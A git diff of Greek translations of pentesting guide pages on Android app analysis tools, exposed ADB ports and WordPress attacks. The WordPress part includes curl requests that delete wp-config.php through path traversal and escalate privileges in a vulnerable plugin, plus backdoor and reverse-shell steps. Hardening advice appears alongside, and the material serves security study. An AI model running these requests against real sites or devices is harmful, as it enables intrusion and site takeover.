Το MobSF επιτρέπει επίσης να φορτώσετε τα δικά σας **Frida scripts** (για να στείλετε τα αποτελέσματα των Frida scripts σας στο MobSF χρησιμοποιήστε τη λειτουργία `send()`). Έχει επίσης **πολλά προ-γραμμένα scripts** που μπορείτε να φορτώσετε (μπορείτε να προσθέσετε περισσότερα στο `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), απλά **επιλέξτε τα**, πατήστε "**Load**" και πατήστε "**Start Instrumentation**" (θα μπορείτε να δείτε τα logs αυτών των scripts μέσα στο "**Frida Live Logs**").
|
||||
|
||||
.png>)
|
||||
|
||||
@ -568,9 +568,9 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
- **Capture String Comparisons**: Μπορεί να είναι πολύ χρήσιμο. Θα **δείξει τις 2 συμβολοσειρές που συγκρίνονται** και αν το αποτέλεσμα ήταν True ή False.
|
||||
- **Enumerate Class Methods**: Βάλτε το όνομα της κλάσης (όπως "java.io.File") και θα εκτυπώσει όλες τις μεθόδους της κλάσης.
|
||||
- **Search Class Pattern**: Αναζητήστε κλάσεις κατά μοτίβο
|
||||
- **Trace Class Methods**: **Trace** μια **ολόκληρη κλάση** (δείτε τις εισόδους και εξόδους όλων των μεθόδων της κλάσης). Θυμηθείτε ότι από προεπιλογή το MobSF παρακολουθεί πολλές ενδιαφέρουσες μεθόδους Android Api.
|
||||
- **Trace Class Methods**: **Trace** μια **ολόκληρη κλάση** (δείτε τις εισόδους και τις εξόδους όλων των μεθόδων της κλάσης). Θυμηθείτε ότι από προεπιλογή το MobSF παρακολουθεί πολλές ενδιαφέρουσες μεθόδους Android Api.
|
||||
|
||||
Αφού επιλέξετε το βοηθητικό module που θέλετε να χρησιμοποιήσετε, πρέπει να πατήσετε "**Start Instrumentation**" και θα δείτε όλες τις εξόδους στο "**Frida Live Logs**".
|
||||
Αφού επιλέξετε το βοηθητικό module που θέλετε να χρησιμοποιήσετε, πρέπει να πατήσετε "**Start Intrumentation**" και θα δείτε όλες τις εξόδους στο "**Frida Live Logs**".
|
||||
|
||||
**Shell**
|
||||
|
||||
@ -586,7 +586,7 @@ receivers
|
||||
**HTTP εργαλεία**
|
||||
|
||||
Όταν η κίνηση http καταγράφεται, μπορείτε να δείτε μια άσχημη προβολή της καταγεγραμμένης κίνησης στο "**HTTP(S) Traffic**" κάτω ή μια πιο ωραία προβολή στο "**Start HTTPTools**" πράσινο κουμπί. Από τη δεύτερη επιλογή, μπορείτε να **στείλετε** τα **καταγεγραμμένα αιτήματα** σε **proxy** όπως το Burp ή το Owasp ZAP.\
|
||||
Για να το κάνετε αυτό, _ενεργοποιήστε το Burp -->_ _απενεργοποιήστε το Intercept --> στο MobSB HTTPTools επιλέξτε το αίτημα_ --> πατήστε "**Send to Fuzzer**" --> _επιλέξτε τη διεύθυνση proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
Για να το κάνετε αυτό, _ενεργοποιήστε το Burp -->_ _απενεργοποιήστε την Παρεμβολή --> στο MobSB HTTPTools επιλέξτε το αίτημα_ --> πατήστε "**Send to Fuzzer**" --> _επιλέξτε τη διεύθυνση proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
Αφού ολοκληρώσετε την δυναμική ανάλυση με το MobSF, μπορείτε να πατήσετε το "**Start Web API Fuzzer**" για να **fuzz http αιτήματα** και να αναζητήσετε ευπάθειες.
|
||||
|
||||
@ -610,7 +610,7 @@ receivers
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Αυτό το εργαλείο έχει σχεδιαστεί για να αναζητά αρκετές **ευπάθειες σχετικές με την ασφάλεια εφαρμογών Android**, είτε στον **κώδικα πηγής** είτε σε **πακεταρισμένα APKs**. Το εργαλείο είναι επίσης **ικανό να δημιουργεί ένα "Proof-of-Concept" deployable APK** και **εντολές ADB**, για να εκμεταλλευτεί κάποιες από τις ευπάθειες που βρέθηκαν (Εκτεθειμένες δραστηριότητες, intents, tapjacking...). Όπως και με το Drozer, δεν χρειάζεται να κάνετε root τη συσκευή δοκιμής.
|
||||
Αυτό το εργαλείο έχει σχεδιαστεί για να αναζητά αρκετές **ευπάθειες σχετικές με την ασφάλεια εφαρμογών Android**, είτε στον **κώδικα πηγής** είτε σε **πακεταρισμένα APKs**. Το εργαλείο είναι επίσης **ικανό να δημιουργεί ένα "Proof-of-Concept" αναπτυξιακό APK** και **εντολές ADB**, για να εκμεταλλευτεί κάποιες από τις ευπάθειες που βρέθηκαν (Εκτεθειμένες δραστηριότητες, intents, tapjacking...). Όπως και με το Drozer, δεν χρειάζεται να κάνετε root τη συσκευή δοκιμής.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -652,7 +652,7 @@ super-analyzer {apk_file}
|
||||
```
|
||||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
|
||||
|
||||
Το AndroBugs Framework είναι ένα σύστημα ανάλυσης ευπαθειών Android που βοηθά τους προγραμματιστές ή τους χάκερ να εντοπίσουν πιθανές ευπάθειες ασφαλείας σε εφαρμογές Android.\
|
||||
Το AndroBugs Framework είναι ένα σύστημα ανάλυσης ευπαθειών Android που βοηθά τους προγραμματιστές ή τους χάκερ να βρουν πιθανές ευπάθειες ασφαλείας σε εφαρμογές Android.\
|
||||
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
|
||||
```
|
||||
python androbugs.py -f [APK file]
|
||||
@ -660,7 +660,7 @@ androbugs.exe -f [APK file]
|
||||
```
|
||||
### [Androwarn](https://github.com/maaaaz/androwarn)
|
||||
|
||||
**Androwarn** είναι ένα εργαλείο του οποίου κύριος στόχος είναι να ανιχνεύει και να προειδοποιεί τον χρήστη για πιθανές κακόβουλες συμπεριφορές που αναπτύσσονται από μια εφαρμογή Android.
|
||||
**Androwarn** είναι ένα εργαλείο του οποίου ο κύριος στόχος είναι να ανιχνεύει και να προειδοποιεί τον χρήστη για πιθανές κακόβουλες συμπεριφορές που αναπτύσσονται από μια εφαρμογή Android.
|
||||
|
||||
Η ανίχνευση πραγματοποιείται με την **στατική ανάλυση** του Dalvik bytecode της εφαρμογής, που αναπαρίσταται ως **Smali**, με τη βιβλιοθήκη [`androguard`](https://github.com/androguard/androguard).
|
||||
|
||||
@ -704,14 +704,14 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
(Από αυτόν τον οδηγό) Την τελευταία φορά που ελέγξαμε, η λειτουργία του Dexguard ήταν:
|
||||
|
||||
- φορτώστε μια πηγή ως InputStream;
|
||||
- τροφοδοτήστε το αποτέλεσμα σε μια κλάση που κληρονομεί από FilterInputStream για να το αποκρυπτογραφήσετε;
|
||||
- κάντε κάποια άχρηστη απόκρυψη για να σπαταλήσετε λίγα λεπτά χρόνου από έναν αναλυτή;
|
||||
- τροφοδοτήστε το αποτέλεσμα σε μια κλάση που κληρονομεί από το FilterInputStream για να το αποκρυπτογραφήσετε;
|
||||
- κάντε κάποια άχρηστη απόκρυψη για να σπαταλήσετε μερικά λεπτά χρόνου από έναν αναλυτή;
|
||||
- τροφοδοτήστε το αποκρυπτογραφημένο αποτέλεσμα σε ένα ZipInputStream για να αποκτήσετε ένα αρχείο DEX;
|
||||
- τελικά φορτώστε το προκύπτον DEX ως Πηγή χρησιμοποιώντας τη μέθοδο `loadDex`.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
**Το DeGuard αντιστρέφει τη διαδικασία απόκρυψης που εκτελούν τα εργαλεία απόκρυψης Android. Αυτό επιτρέπει πολλές αναλύσεις ασφάλειας, συμπεριλαμβανομένης της επιθεώρησης κώδικα και της πρόβλεψης βιβλιοθηκών.**
|
||||
**Το DeGuard αντιστρέφει τη διαδικασία απόκρυψης που εκτελούν τα εργαλεία απόκρυψης του Android. Αυτό επιτρέπει πολλές αναλύσεις ασφάλειας, συμπεριλαμβανομένης της επιθεώρησης κώδικα και της πρόβλεψης βιβλιοθηκών.**
|
||||
|
||||
Μπορείτε να ανεβάσετε ένα αποκρυπτογραφημένο APK στην πλατφόρμα τους.
|
||||
|
||||
@ -721,11 +721,11 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
Είναι ένα **γενικό αποκρυπτογραφητή android.** Το Simplify **εκτελεί εικονικά μια εφαρμογή** για να κατανοήσει τη συμπεριφορά της και στη συνέχεια **προσπαθεί να βελτιστοποιήσει τον κώδικα** ώστε να συμπεριφέρεται ταυτόχρονα αλλά να είναι πιο εύκολο για έναν άνθρωπο να κατανοήσει. Κάθε τύπος βελτιστοποίησης είναι απλός και γενικός, οπότε δεν έχει σημασία ποιος είναι ο συγκεκριμένος τύπος απόκρυψης που χρησιμοποιείται.
|
||||
Είναι ένα **γενικό αποκρυπτογραφητή android.** Το Simplify **εκτελεί εικονικά μια εφαρμογή** για να κατανοήσει τη συμπεριφορά της και στη συνέχεια **προσπαθεί να βελτιστοποιήσει τον κώδικα** έτσι ώστε να συμπεριφέρεται ταυτόχρονα αλλά να είναι πιο εύκολο για έναν άνθρωπο να κατανοήσει. Κάθε τύπος βελτιστοποίησης είναι απλός και γενικός, οπότε δεν έχει σημασία ποιος είναι ο συγκεκριμένος τύπος απόκρυψης που χρησιμοποιείται.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
Το APKiD σας δίνει πληροφορίες για **πώς δημιουργήθηκε ένα APK**. Αναγνωρίζει πολλούς **μεταγλωττιστές**, **πακεταριστές**, **αποκρυπτογραφητές** και άλλα περίεργα πράγματα. Είναι το [_PEiD_](https://www.aldeid.com/wiki/PEiD) για Android.
|
||||
Το APKiD σας δίνει πληροφορίες για **το πώς δημιουργήθηκε ένα APK**. Αναγνωρίζει πολλούς **μεταγλωττιστές**, **πακεταριστές**, **αποκρυπτογραφητές** και άλλα περίεργα πράγματα. Είναι το [_PEiD_](https://www.aldeid.com/wiki/PEiD) για το Android.
|
||||
|
||||
### Manual
|
||||
|
||||
|
@ -11,7 +11,7 @@
|
||||
- Ιστορική προεπιλεγμένη θύρα TCP: 5555 (κλασική λειτουργία "adb tcpip").
|
||||
- Σύγχρονη ασύρματη αποσφαλμάτωση (Android 11+) χρησιμοποιεί TLS pairing και mDNS service discovery. Η θύρα σύνδεσης είναι δυναμική και ανακαλύπτεται μέσω mDNS; μπορεί να μην είναι 5555. Η ζεύξη γίνεται με adb pair host:port ακολουθούμενη από adb connect. Δείτε τις σημειώσεις παρακάτω για επιθετικές επιπτώσεις.
|
||||
|
||||
Example nmap fingerprint:
|
||||
Παράδειγμα δακτυλοσκοπίας nmap:
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
|
||||
@ -72,7 +72,7 @@ adb pull "/sdcard/<pkg>"
|
||||
adb install -r -g payload.apk # -g παραχωρεί όλα τα δικαιώματα εκτέλεσης που δηλώνονται στο manifest
|
||||
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
|
||||
```
|
||||
- Ξεκινήστε δραστηριότητες/υπηρεσίες/μεταδόσεις απευθείας:
|
||||
- Ξεκινήστε δραστηριότητες/υπηρεσίες/εκπομπές απευθείας:
|
||||
```bash
|
||||
adb shell am start -n <pkg>/<activity>
|
||||
adb shell am startservice -n <pkg>/<service>
|
||||
@ -86,7 +86,7 @@ adb shell am broadcast -a <action>
|
||||
- Προώθηση host->device (πρόσβαση σε μια τοπική υπηρεσία της συσκευής από τον υπολογιστή σας):
|
||||
```bash
|
||||
adb forward tcp:2222 tcp:22 # Αν η συσκευή τρέχει SSH (π.χ., Termux/Dropbear)
|
||||
adb forward tcp:8081 tcp:8080 # Έκθεση τοπικού διακομιστή αποσφαλμάτωσης της εφαρμογής
|
||||
adb forward tcp:8081 tcp:8080 # Εκθέστε τον τοπικό διακομιστή αποσφαλμάτωσης της εφαρμογής
|
||||
```
|
||||
- Αντίστροφη device->host (να επιτρέψετε στη συσκευή να φτάσει σε μια υπηρεσία στον υπολογιστή σας):
|
||||
```bash
|
||||
@ -124,7 +124,7 @@ adb connect <device_ip>:<conn_port>
|
||||
Οι αμυντικοί θα πρέπει να υποθέτουν ότι οποιοδήποτε προσβάσιμο adbd (TCP) είναι κρίσιμος κίνδυνος.
|
||||
|
||||
- Απενεργοποιήστε το ADB και την ασύρματη αποσφαλμάτωση όταν δεν χρειάζεστε. Ανακαλέστε τις εξουσιοδοτήσεις αποσφαλμάτωσης USB στις επιλογές προγραμματιστή.
|
||||
- Βεβαιωθείτε ότι η πολιτική δικτύου αποκλείει την εισερχόμενη TCP/5555 και την ανακάλυψη ADB μέσω mDNS σε μη αξιόπιστα τμήματα.
|
||||
- Βεβαιωθείτε ότι η πολιτική δικτύου μπλοκάρει την εισερχόμενη TCP/5555 και την ανακάλυψη ADB μέσω mDNS σε μη αξιόπιστα τμήματα.
|
||||
- Σε συσκευές υπό τον έλεγχό σας:
|
||||
```bash
|
||||
settings put global adb_enabled 0
|
||||
|
@ -9,7 +9,7 @@
|
||||
|
||||
- **Μια άλλη χρήσιμη διεύθυνση θα μπορούσε να είναι:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- Στο **wp-config.php** μπορείτε να βρείτε τον κωδικό πρόσβασης root της βάσης δεδομένων.
|
||||
- Στο **wp-config.php** μπορείτε να βρείτε τον κωδικό πρόσβασης της βάσης δεδομένων.
|
||||
- Προεπιλεγμένες διαδρομές σύνδεσης για έλεγχο: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **Main WordPress Files**
|
||||
@ -30,7 +30,7 @@
|
||||
|
||||
**Post exploitation**
|
||||
|
||||
- Το αρχείο `wp-config.php` περιέχει πληροφορίες που απαιτούνται από το WordPress για να συνδεθεί στη βάση δεδομένων, όπως το όνομα της βάσης δεδομένων, τον οικοδεσπότη της βάσης δεδομένων, το όνομα χρήστη και τον κωδικό πρόσβασης, τα κλειδιά και τα άλατα αυθεντικοποίησης, και το πρόθεμα του πίνακα της βάσης δεδομένων. Αυτό το αρχείο ρύθμισης μπορεί επίσης να χρησιμοποιηθεί για να ενεργοποιήσει τη λειτουργία DEBUG, η οποία μπορεί να είναι χρήσιμη στην αποσφαλμάτωση.
|
||||
- Το αρχείο `wp-config.php` περιέχει πληροφορίες που απαιτούνται από το WordPress για να συνδεθεί στη βάση δεδομένων, όπως το όνομα της βάσης δεδομένων, τον οικοδεσπότη της βάσης δεδομένων, το όνομα χρήστη και τον κωδικό πρόσβασης, τα κλειδιά και τα άλατα αυθεντικοποίησης, και το πρόθεμα του πίνακα της βάσης δεδομένων. Αυτό το αρχείο ρύθμισης μπορεί επίσης να χρησιμοποιηθεί για την ενεργοποίηση της λειτουργίας DEBUG, η οποία μπορεί να είναι χρήσιμη στην αποσφαλμάτωση.
|
||||
|
||||
### Users Permissions
|
||||
|
||||
@ -38,7 +38,7 @@
|
||||
- **Editor**: Δημοσιεύει και διαχειρίζεται τις δικές του και άλλες αναρτήσεις
|
||||
- **Author**: Δημοσιεύει και διαχειρίζεται τις δικές του αναρτήσεις
|
||||
- **Contributor**: Γράφει και διαχειρίζεται τις αναρτήσεις του αλλά δεν μπορεί να τις δημοσιεύσει
|
||||
- **Subscriber**: Περιηγείται σε αναρτήσεις και επεξεργάζεται το προφίλ του
|
||||
- **Subscriber**: Περιηγείται στις αναρτήσεις και επεξεργάζεται το προφίλ του
|
||||
|
||||
## **Passive Enumeration**
|
||||
|
||||
@ -85,7 +85,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
|
||||
### Χρήστες
|
||||
|
||||
- **ID Brute:** Αποκτάτε έγκυρους χρήστες από έναν ιστότοπο WordPress εκτελώντας Brute Force στους IDs χρηστών:
|
||||
- **ID Brute:** Λαμβάνετε έγκυρους χρήστες από έναν ιστότοπο WordPress εκτελώντας Brute Force στους αναγνωριστικούς χρήστες:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
@ -103,7 +103,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
|
||||
Επίσης σημειώστε ότι **/wp-json/wp/v2/pages** θα μπορούσε να διαρρεύσει διευθύνσεις IP.
|
||||
|
||||
- **Αναγνώριση ονόματος χρήστη κατά την είσοδο**: Όταν συνδέεστε στο **`/wp-login.php`** το **μήνυμα** είναι **διαφορετικό** αν το υποδεικνυόμενο **όνομα χρήστη υπάρχει ή όχι**.
|
||||
- **Εξακρίβωση ονόματος χρήστη σύνδεσης**: Όταν συνδέεστε στο **`/wp-login.php`**, το **μήνυμα** είναι **διαφορετικό** αν το υποδεικνυόμενο **όνομα χρήστη υπάρχει ή όχι**.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
@ -134,7 +134,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Το μήνυμα _"Λάθος όνομα χρήστη ή κωδικός"_ μέσα σε μια απάντηση κωδικού 200 θα πρέπει να εμφανίζεται αν τα διαπιστευτήρια δεν είναι έγκυρα.
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
@ -211,7 +211,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
|
||||
Αυτό το αρχείο συνήθως υπάρχει κάτω από τη ρίζα της ιστοσελίδας Wordpress: **`/wp-cron.php`**\
|
||||
Όταν αυτό το αρχείο είναι **προσιτό**, εκτελείται ένα "**βαρύ**" MySQL **ερώτημα**, οπότε θα μπορούσε να χρησιμοποιηθεί από **επιτιθέμενους** για να **προκαλέσει** μια **DoS**.\
|
||||
Επίσης, από προεπιλογή, το `wp-cron.php` καλείται σε κάθε φόρτωση σελίδας (κάθε φορά που ένας πελάτης ζητά οποιαδήποτε σελίδα Wordpress), το οποίο σε ιστοσελίδες με υψηλή κίνηση μπορεί να προκαλέσει προβλήματα (DoS).
|
||||
Επίσης, από προεπιλογή, το `wp-cron.php` καλείται σε κάθε φόρτωση σελίδας (κάθε φορά που ένας πελάτης ζητά οποιαδήποτε σελίδα Wordpress), το οποίο σε ιστοσελίδες με υψηλή επισκεψιμότητα μπορεί να προκαλέσει προβλήματα (DoS).
|
||||
|
||||
Συνιστάται να απενεργοποιήσετε το Wp-Cron και να δημιουργήσετε μια πραγματική cronjob μέσα στον διακομιστή που εκτελεί τις απαραίτητες ενέργειες σε τακτά χρονικά διαστήματα (χωρίς να προκαλεί προβλήματα).
|
||||
|
||||
@ -254,7 +254,7 @@ return new WP_Error(
|
||||
|
||||
.png>)
|
||||
|
||||
Αναζητήστε στο διαδίκτυο πώς μπορείτε να αποκτήσετε πρόσβαση σε αυτή τη ενημερωμένη σελίδα. Σε αυτή την περίπτωση, πρέπει να αποκτήσετε πρόσβαση εδώ: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
Αναζητήστε στο διαδίκτυο πώς μπορείτε να αποκτήσετε πρόσβαση σε αυτή τη σελίδα που ενημερώθηκε. Σε αυτή την περίπτωση, πρέπει να αποκτήσετε πρόσβαση εδώ: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
@ -269,7 +269,7 @@ to get a session.
|
||||
### PHP plugin
|
||||
|
||||
Ενδέχεται να είναι δυνατή η μεταφόρτωση αρχείων .php ως plugin.\
|
||||
Δημιουργήστε το php backdoor σας χρησιμοποιώντας για παράδειγμα:
|
||||
Δημιουργήστε την php backdoor σας χρησιμοποιώντας για παράδειγμα:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -289,7 +289,7 @@ to get a session.
|
||||
|
||||
.png>)
|
||||
|
||||
Αποκτήστε πρόσβαση σε αυτό και θα δείτε τη διεύθυνση URL για να εκτελέσετε το reverse shell:
|
||||
Αποκτήστε πρόσβαση σε αυτό και θα δείτε το URL για να εκτελέσετε το reverse shell:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -348,7 +348,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
**Η χρήση του `nopriv` καθιστά το endpoint προσβάσιμο από οποιονδήποτε χρήστη (ακόμα και από μη αυθεντικοποιημένους).**
|
||||
|
||||
> [!CAUTION]
|
||||
> Επιπλέον, αν η συνάρτηση απλώς ελέγχει την εξουσιοδότηση του χρήστη με τη συνάρτηση `wp_verify_nonce`, αυτή η συνάρτηση ελέγχει απλώς αν ο χρήστης είναι συνδεδεμένος, συνήθως δεν ελέγχει τον ρόλο του χρήστη. Έτσι, οι χρήστες με χαμηλά προνόμια μπορεί να έχουν πρόσβαση σε ενέργειες με υψηλά προνόμια.
|
||||
> Επιπλέον, αν η συνάρτηση απλώς ελέγχει την εξουσιοδότηση του χρήστη με τη συνάρτηση `wp_verify_nonce`, αυτή η συνάρτηση απλώς ελέγχει αν ο χρήστης είναι συνδεδεμένος, συνήθως δεν ελέγχει τον ρόλο του χρήστη. Έτσι, οι χρήστες με χαμηλά προνόμια μπορεί να έχουν πρόσβαση σε ενέργειες υψηλών προνομίων.
|
||||
|
||||
- **REST API**
|
||||
|
||||
@ -364,18 +364,18 @@ $this->namespace, '/get/', array(
|
||||
```
|
||||
Ο `permission_callback` είναι μια συνάρτηση callback που ελέγχει αν ένας συγκεκριμένος χρήστης είναι εξουσιοδοτημένος να καλέσει τη μέθοδο API.
|
||||
|
||||
**Αν χρησιμοποιηθεί η ενσωματωμένη συνάρτηση `__return_true`, απλά θα παραλείψει τον έλεγχο δικαιωμάτων χρήστη.**
|
||||
**Αν χρησιμοποιηθεί η ενσωματωμένη συνάρτηση `__return_true`, απλώς θα παραλείψει τον έλεγχο δικαιωμάτων χρήστη.**
|
||||
|
||||
- **Άμεση πρόσβαση στο αρχείο php**
|
||||
|
||||
Φυσικά, το Wordpress χρησιμοποιεί PHP και τα αρχεία μέσα στα plugins είναι άμεσα προσβάσιμα από το διαδίκτυο. Έτσι, σε περίπτωση που ένα plugin εκθέτει οποιαδήποτε ευάλωτη λειτουργικότητα που ενεργοποιείται απλά με την πρόσβαση στο αρχείο, θα είναι εκμεταλλεύσιμο από οποιονδήποτε χρήστη.
|
||||
Φυσικά, το Wordpress χρησιμοποιεί PHP και τα αρχεία μέσα σε plugins είναι άμεσα προσβάσιμα από το διαδίκτυο. Έτσι, σε περίπτωση που ένα plugin εκθέτει οποιαδήποτε ευάλωτη λειτουργικότητα που ενεργοποιείται απλώς με την πρόσβαση στο αρχείο, θα είναι εκμεταλλεύσιμο από οποιονδήποτε χρήστη.
|
||||
|
||||
### Μη αυθεντικοποιημένη αυθαίρετη διαγραφή αρχείων μέσω wp_ajax_nopriv (Θέμα Litho <= 3.0)
|
||||
|
||||
Τα θέματα και τα plugins του WordPress εκθέτουν συχνά χειριστές AJAX μέσω των hooks `wp_ajax_` και `wp_ajax_nopriv_`. Όταν χρησιμοποιείται η παραλλαγή **_nopriv_**, **η callback γίνεται προσβάσιμη από μη αυθεντικοποιημένους επισκέπτες**, οπότε οποιαδήποτε ευαίσθητη ενέργεια πρέπει επιπλέον να υλοποιεί:
|
||||
|
||||
1. Έναν **έλεγχο ικανοτήτων** (π.χ. `current_user_can()` ή τουλάχιστον `is_user_logged_in()`), και
|
||||
2. Ένα **CSRF nonce** που επικυρώνεται με `check_ajax_referer()` / `wp_verify_nonce()`, και
|
||||
2. Έναν **CSRF nonce** που επικυρώνεται με `check_ajax_referer()` / `wp_verify_nonce()`, και
|
||||
3. **Αυστηρή απολύμανση / επικύρωση εισόδου**.
|
||||
|
||||
Το πολυλειτουργικό θέμα Litho (< 3.1) ξέχασε αυτούς τους 3 ελέγχους στη λειτουργία *Αφαίρεση Οικογένειας Γραμματοσειράς* και κατέληξε να αποστείλει τον παρακάτω κώδικα (απλοποιημένο):
|
||||
@ -413,12 +413,12 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
```
|
||||
Γιατί το `wp-config.php` βρίσκεται εκτός *uploads*, τέσσερις ακολουθίες `../` είναι αρκετές σε μια προεπιλεγμένη εγκατάσταση. Η διαγραφή του `wp-config.php` αναγκάζει το WordPress να εισέλθει στον *οδηγό εγκατάστασης* κατά την επόμενη επίσκεψη, επιτρέποντας μια πλήρη κατάληψη του ιστότοπου (ο επιτιθέμενος απλώς παρέχει μια νέα ρύθμιση DB και δημιουργεί έναν χρήστη διαχειριστή).
|
||||
|
||||
Άλλοι σημαντικοί στόχοι περιλαμβάνουν αρχεία `.php` από πρόσθετα/θέματα (για να σπάσουν τα πρόσθετα ασφαλείας) ή κανόνες `.htaccess`.
|
||||
Άλλοι σημαντικοί στόχοι περιλαμβάνουν τα αρχεία `.php` των plugin/θέματος (για να σπάσουν τα plugins ασφαλείας) ή τους κανόνες `.htaccess`.
|
||||
|
||||
#### Λίστα ελέγχου ανίχνευσης
|
||||
|
||||
* Οποιοδήποτε `add_action( 'wp_ajax_nopriv_...')` callback που καλεί βοηθούς συστήματος αρχείων (`copy()`, `unlink()`, `$wp_filesystem->delete()`, κ.λπ.).
|
||||
* Συγκέντρωση μη απολυμασμένων εισροών χρηστών σε διαδρομές (αναζητήστε `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Οποιοδήποτε `add_action( 'wp_ajax_nopriv_...')` callback που καλεί βοηθητικά προγράμματα συστήματος αρχείων (`copy()`, `unlink()`, `$wp_filesystem->delete()`, κ.λπ.).
|
||||
* Συγκόλληση μη απολυμασμένων εισόδων χρηστών σε διαδρομές (αναζητήστε `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Απουσία `check_ajax_referer()` και `current_user_can()`/`is_user_logged_in()`.
|
||||
|
||||
#### Σκληραγώγηση
|
||||
@ -448,7 +448,7 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
|
||||
### Κλιμάκωση προνομίων μέσω αποκατάστασης παλαιών ρόλων και έλλειψης εξουσιοδότησης (ASE "Δείτε τον Διαχειριστή ως Ρόλο")
|
||||
|
||||
Πολλά πρόσθετα υλοποιούν μια δυνατότητα "θέαση ως ρόλος" ή προσωρινής αλλαγής ρόλου αποθηκεύοντας τους αρχικούς ρόλους στα μεταδεδομένα χρήστη ώστε να μπορούν να αποκατασταθούν αργότερα. Εάν η διαδρομή αποκατάστασης βασίζεται μόνο σε παραμέτρους αιτήματος (π.χ., `$_REQUEST['reset-for']`) και σε μια λίστα που διατηρείται από το πρόσθετο χωρίς να ελέγχει τις ικανότητες και μια έγκυρη nonce, αυτό γίνεται κλιμάκωση προνομίων κάθετα.
|
||||
Πολλά πρόσθετα υλοποιούν μια δυνατότητα "θέαση ως ρόλος" ή προσωρινής αλλαγής ρόλου αποθηκεύοντας τους αρχικούς ρόλους σε μεταδεδομένα χρήστη ώστε να μπορούν να αποκατασταθούν αργότερα. Εάν η διαδρομή αποκατάστασης βασίζεται μόνο σε παραμέτρους αιτήματος (π.χ., `$_REQUEST['reset-for']`) και σε μια λίστα που διατηρείται από το πρόσθετο χωρίς να ελέγχει τις ικανότητες και μια έγκυρη nonce, αυτό γίνεται κλιμάκωση προνομίων κάθετα.
|
||||
|
||||
Ένα πραγματικό παράδειγμα βρέθηκε στο πρόσθετο Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Ο κλάδος επαναφοράς αποκατέστησε ρόλους με βάση το `reset-for=<username>` εάν το όνομα χρήστη εμφανιζόταν σε έναν εσωτερικό πίνακα `$options['viewing_admin_as_role_are']`, αλλά δεν εκτέλεσε ούτε έλεγχο `current_user_can()` ούτε επαλήθευση nonce πριν αφαιρέσει τους τρέχοντες ρόλους και επαναφέρει τους αποθηκευμένους ρόλους από τα μεταδεδομένα χρήστη `_asenha_view_admin_as_original_roles`:
|
||||
```php
|
||||
@ -474,7 +474,7 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
Προαπαιτούμενα επίθεσης
|
||||
|
||||
- Ευάλωτη έκδοση plugin με τη δυνατότητα ενεργοποιημένη.
|
||||
- Ο στόχος λογαριασμού έχει αποθηκευμένο ένα παλιό ρόλο υψηλών προνομίων στο user meta από προηγούμενη χρήση.
|
||||
- Ο στόχος λογαριασμού έχει μια παλιά υψηλή ρόλο αποθηκευμένο στα μεταδεδομένα χρήστη από προηγούμενη χρήση.
|
||||
- Οποιαδήποτε αυθεντικοποιημένη συνεδρία; απουσία nonce/ικανότητας στη ροή επαναφοράς.
|
||||
|
||||
Εκμετάλλευση (παράδειγμα)
|
||||
@ -485,7 +485,7 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
